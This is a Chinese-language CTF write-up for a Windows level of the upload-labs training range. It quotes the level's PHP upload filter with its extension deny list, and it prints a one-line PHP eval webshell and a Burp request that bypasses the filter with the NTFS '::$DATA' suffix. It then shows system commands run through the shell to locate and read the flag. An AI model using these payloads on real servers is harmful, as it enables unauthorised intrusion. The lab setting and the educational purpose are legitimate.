[Windows]Upload-Labs-Windows
1
Windows 下的 Uploads Labs
简介
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
注意
1.每一关没有固定的通关方法,大家不要自限思维!
2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路。
3.实在没有思路时,可以点击查看提示。
4.如果黑盒情况下,实在做不出,可以点击查看源码。
后续
如在渗透测试实战中遇到新的上传漏洞类型,会更新到upload-labs中。当然如果你也希望参加到这个工作当中,欢迎pull requests给我!
项目地址:https://github.com/c0ny1/upload-labs
任务
上传一个webshell到服务器。
提示
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
解法
传个一句话木马。
<?php @eval($_POST['a']); ?>
提示:此文件类型不允许上传!
用 Burp 抓包,文件后缀加上 ::$DATA。
------WebKitFormBoundaryEm31kwE8K6VQJD8m
Content-Disposition: form-data; name="upload_file"; filename="a.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_POST['a']); ?>
------WebKitFormBoundaryEm31kwE8K6VQJD8m
放行,上传成功。
右键点击图片,复制图像链接。
http://731d9ad5-a282-4820-a572-0028f0fb9fff.node5.buuoj.cn:81/upload/202404300135056761.php::$data
把 ::$data 去掉,通过蚁剑连接:
http://731d9ad5-a282-4820-a572-0028f0fb9fff.node5.buuoj.cn:81/upload/202404300135056761.php
连接失败,报 500 错误。
用 hackbar 发送 POST 请求。
a=phpinfo();
回显正常。
网站根目录:
a=system("ls");
可能因为是 Windows系统,无法使用 Linux 命令。
查询系统信息。
a=echo `systeminfo`;
Microsoft Windows Server 2019 系统。
Host Name: OUT OS Name: Microsoft Windows Server 2019 Datacenter OS Version: 10.0.17763 N/A Build 17763 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: N/A Registered Organization: N/A Product ID: 00430-00000-00000-AA533 Original Install Date: 12/7/2021, 8:57:18 PM System Boot Time: 4/5/2024, 6:44:01 PM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: zh-cn;Chinese (China) Input Locale: en-us;English (United States) Time Zone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi Total Physical Memory: 32,767 MB Available Physical Memory: 27,725 MB Virtual Memory: Max Size: 37,631 MB Virtual Memory: Available: 33,085 MB Virtual Memory: In Use: 4,546 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: N/A Hotfix(s): 4 Hotfix(s) Installed. [01]: KB5004335 [02]: KB5004424 [03]: KB5008218 [04]: KB5008287 Network Card(s): N/A Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
查看所有盘符。
a=echo `wmic logicaldisk get name`;
只有一个 C 盘。
Name C:
搜索 C 盘中所有文件名含 flag 的文件。
a=echo `dir /s /b C:\*flag*`;
没有结果。
从 C 盘根目录找起。
a=echo `dir C:\`;
找到文件 Fl@g_glzjin_still_w@nts_a_girl_friend.txt。
Volume in drive C has no label. Volume Serial Number is 8608-A41E Directory of C:\ 04/30/2024 10:34 AM 44 Fl@g_glzjin_still_w@nts_a_girl_friend.txt 12/28/2021 05:54 PM
inetpub 05/07/2020 12:48 PM 5,510 License.txt 12/28/2021 05:54 PM
php 12/07/2021 08:57 PM
Program Files 12/07/2021 12:55 PM
Program Files (x86) 12/28/2021 05:47 PM 172,328 ServiceMonitor.exe 12/07/2021 12:58 PM
Users 12/28/2021 05:46 PM
Windows 3 File(s) 177,882 bytes 6 Dir(s) 21,066,338,304 bytes free
输出文件内容。
a=echo `type C:\Fl@g_glzjin_still_w@nts_a_girl_friend.txt`;
取得 flag。
flag{7b563661-54a9-4aab-b8b9-e92ead783137}
Flag
flag{7b563661-54a9-4aab-b8b9-e92ead783137}
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。